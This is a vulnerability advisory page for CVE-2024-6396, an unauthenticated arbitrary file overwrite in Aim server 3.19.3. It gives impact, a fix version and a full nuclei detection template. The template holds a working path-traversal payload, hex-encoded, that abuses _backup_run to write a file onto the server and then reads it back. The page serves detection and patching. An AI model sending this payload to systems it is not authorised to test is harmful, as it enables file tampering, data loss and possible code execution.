Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite

criticalseverity

9.8CVSS score

53.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in the `_backup_run` function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the `run_hash` and `repo.path` parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution.

Impact

Unauthenticated attackers can overwrite arbitrary files on the host server and exfiltrate data by manipulating the _backup_run function parameters, potentially achieving denial of service, data loss, or remote code execution.

Fix

Update Aimhubio Aim to version 3.19.4 or later to address the arbitrary file overwrite vulnerability.

How to confirm it

Send: POST /tracking/client_1/get-resource ; POST /tracking/client_1/read-instruction ; @Host: http://{{Host}}:43800
Positive when: contains in body_1 "{\"handler\":\"my_resource\"}" AND contains in body_3 "{{filename}}.txt" AND contains in header_3 "text/plain"

Run it with nuclei: nuclei -id CVE-2024-6396 -u <target>

The full check

id: CVE-2024-6396

info:
  name: Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability in the `_backup_run` function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the `run_hash` and `repo.path` parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution.
  impact: |
    Unauthenticated attackers can overwrite arbitrary files on the host server and exfiltrate data by manipulating the _backup_run function parameters, potentially achieving denial of service, data loss, or remote code execution.
  remediation: |
    Update Aimhubio Aim to version 3.19.4 or later to address the arbitrary file overwrite vulnerability.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6396
    cwe-id: CWE-29
    epss-score: 0.53113
    epss-percentile: 0.98989
    cpe: cpe:2.3:a:aimstack:aim:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    verified: true
    fofa-query: icon_hash="-1047157256"
    product: aim
    vendor: aimstack
  tags: cve,cve2024,aim,aimhubio,file-write,vkev,vuln

variables:
  filename: "{{rand_base(7)}}"
  args: "{{ concat(hex_decode('000000000001000000060a000000fe0000000000000000fe004b000000042e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f707974686f6e332e392f736974652d7061636b616765732f61696d5f75692f6275696c642f'),filename, hex_decode('2e747874')) }}"

http:
  - raw:
      - |
        POST /tracking/client_1/get-resource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "resource_type": "Repo",
        "args": "AAAAAAABAAAABw=="
        }

      - |
        POST /tracking/client_1/read-instruction HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "method_name": "_backup_run",
        "args": "{{base64(args)}}"
        }

      - |
        @Host: http://{{Host}}:43800
        GET /static-files/{{filename}}.txt HTTP/1.1
        Host: {{Host}}:43800

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{"handler":"my_resource"}'

      - type: word
        part: body_3
        words:
          - "{{filename}}.txt"

      - type: word
        part: header_3
        words:
          - "text/plain"

Use this check only on systems you are authorised to test. Where the data comes from